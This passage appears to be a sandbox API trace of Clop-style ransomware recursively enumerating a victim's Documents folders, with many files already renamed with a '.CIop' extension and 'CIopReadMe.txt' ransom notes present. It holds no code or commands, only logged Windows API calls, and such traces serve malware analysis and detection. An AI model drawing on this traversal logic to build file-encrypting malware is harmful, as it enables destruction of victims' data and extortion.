returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0148.710] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0148.710] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0148.711] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dd78 [0148.711] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0148.711] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0148.711] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.711] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.711] lstrcmpW (lpString1="-PZcxu.pps.CIop", lpString2="..") returned 1 [0148.711] lstrcmpW (lpString1="-PZcxu.pps.CIop", lpString2=".") returned 1 [0148.711] lstrlenW (lpString=".CIop") returned 5 [0148.711] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.711] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.711] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.711] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.711] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.711] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.711] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.711] lstrcmpW (lpString1="GAgDtV.ods.CIop", lpString2="..") returned 1 [0148.711] lstrcmpW (lpString1="GAgDtV.ods.CIop", lpString2=".") returned 1 [0148.711] lstrlenW (lpString=".CIop") returned 5 [0148.711] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.711] lstrcmpW (lpString1="yhA0tWH2QIX.odt.CIop", lpString2="..") returned 1 [0148.711] lstrcmpW (lpString1="yhA0tWH2QIX.odt.CIop", lpString2=".") returned 1 [0148.711] lstrlenW (lpString=".CIop") returned 5 [0148.711] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0148.711] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0148.711] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0148.711] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0148.711] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0148.711] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67db78 [0148.711] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0148.711] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0148.711] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.711] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.711] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.712] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.712] lstrcmpW (lpString1="2pWzntbD", lpString2="..") returned 1 [0148.712] lstrcmpW (lpString1="2pWzntbD", lpString2=".") returned 1 [0148.712] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0148.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0148.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0148.712] SetErrorMode (uMode=0x1) returned 0x1 [0148.712] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0148.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0148.712] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0148.712] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0148.712] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dbf8 [0148.712] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0148.712] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0148.712] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.712] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.712] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx.CIop", lpString2="..") returned 1 [0148.712] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx.CIop", lpString2=".") returned 1 [0148.712] lstrlenW (lpString=".CIop") returned 5 [0148.712] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.712] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.712] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.712] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.712] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.712] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx.CIop", lpString2="..") returned 1 [0148.712] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx.CIop", lpString2=".") returned 1 [0148.712] lstrlenW (lpString=".CIop") returned 5 [0148.712] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.712] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt.CIop", lpString2="..") returned 1 [0148.712] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt.CIop", lpString2=".") returned 1 [0148.713] lstrlenW (lpString=".CIop") returned 5 [0148.713] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0148.713] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0148.713] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0148.713] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0148.713] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0148.713] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67ddf8 [0148.713] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0148.713] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0148.713] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.713] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.713] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.713] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.713] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.713] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.713] FindNextFileW (in: hFindFile=0x67ddf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0148.713] FindClose (in: hFindFile=0x67ddf8 | out: hFindFile=0x67ddf8) returned 1 [0148.713] FindClose (in: hFindFile=0x67ddf8 | out: hFindFile=0x67ddf8) returned 0 [0148.714] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.714] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2="..") returned 1 [0148.714] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2=".") returned 1 [0148.714] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0148.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0148.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0148.714] SetErrorMode (uMode=0x1) returned 0x1 [0148.714] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0148.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0148.714] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0148.714] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0148.714] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e0b8 [0148.714] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0148.714] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0148.714] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.714] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.714] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0148.714] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0148.714] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0148.714] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.714] lstrcmpW (lpString1="r873fj.xls.CIop", lpString2="..") returned 1 [0148.714] lstrcmpW (lpString1="r873fj.xls.CIop", lpString2=".") returned 1 [0148.714] lstrlenW (lpString=".CIop") returned 5 [0148.714] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.714] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf.CIop", lpString2="..") returned 1 [0148.715] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf.CIop", lpString2=".") returned 1 [0148.715] lstrlenW (lpString=".CIop") returned 5 [0148.715] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.715] lstrcmpW (lpString1="UmcQX7d.pptx.CIop", lpString2="..") returned 1 [0148.715] lstrcmpW (lpString1="UmcQX7d.pptx.CIop", lpString2=".") returned 1 [0148.715] lstrlenW (lpString=".CIop") returned 5 [0148.715] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.715] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx.CIop", lpString2="..") returned 1 [0148.715] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx.CIop", lpString2=".") returned 1 [0148.715] lstrlenW (lpString=".CIop") returned 5 [0148.715] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0148.715] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0148.715] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0148.715] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0148.715] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0148.715] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dd78 [0148.715] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0148.715] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0148.715] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.715] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0148.715] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.715] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.715] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.715] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.715] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0148.715] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0148.715] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0148.715] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0148.716] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.716] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.716] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0148.716] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0148.716] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0148.716] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0148.716] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0148.716] lstrcmpW (lpString1="1gqxJ7phl", lpString2="..") returned 1 [0148.716] lstrcmpW (lpString1="1gqxJ7phl", lpString2=".") returned 1 [0148.716] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0148.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0148.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0148.716] SetErrorMode (uMode=0x1) returned 0x1 [0148.716] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0148.716] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\" | out: 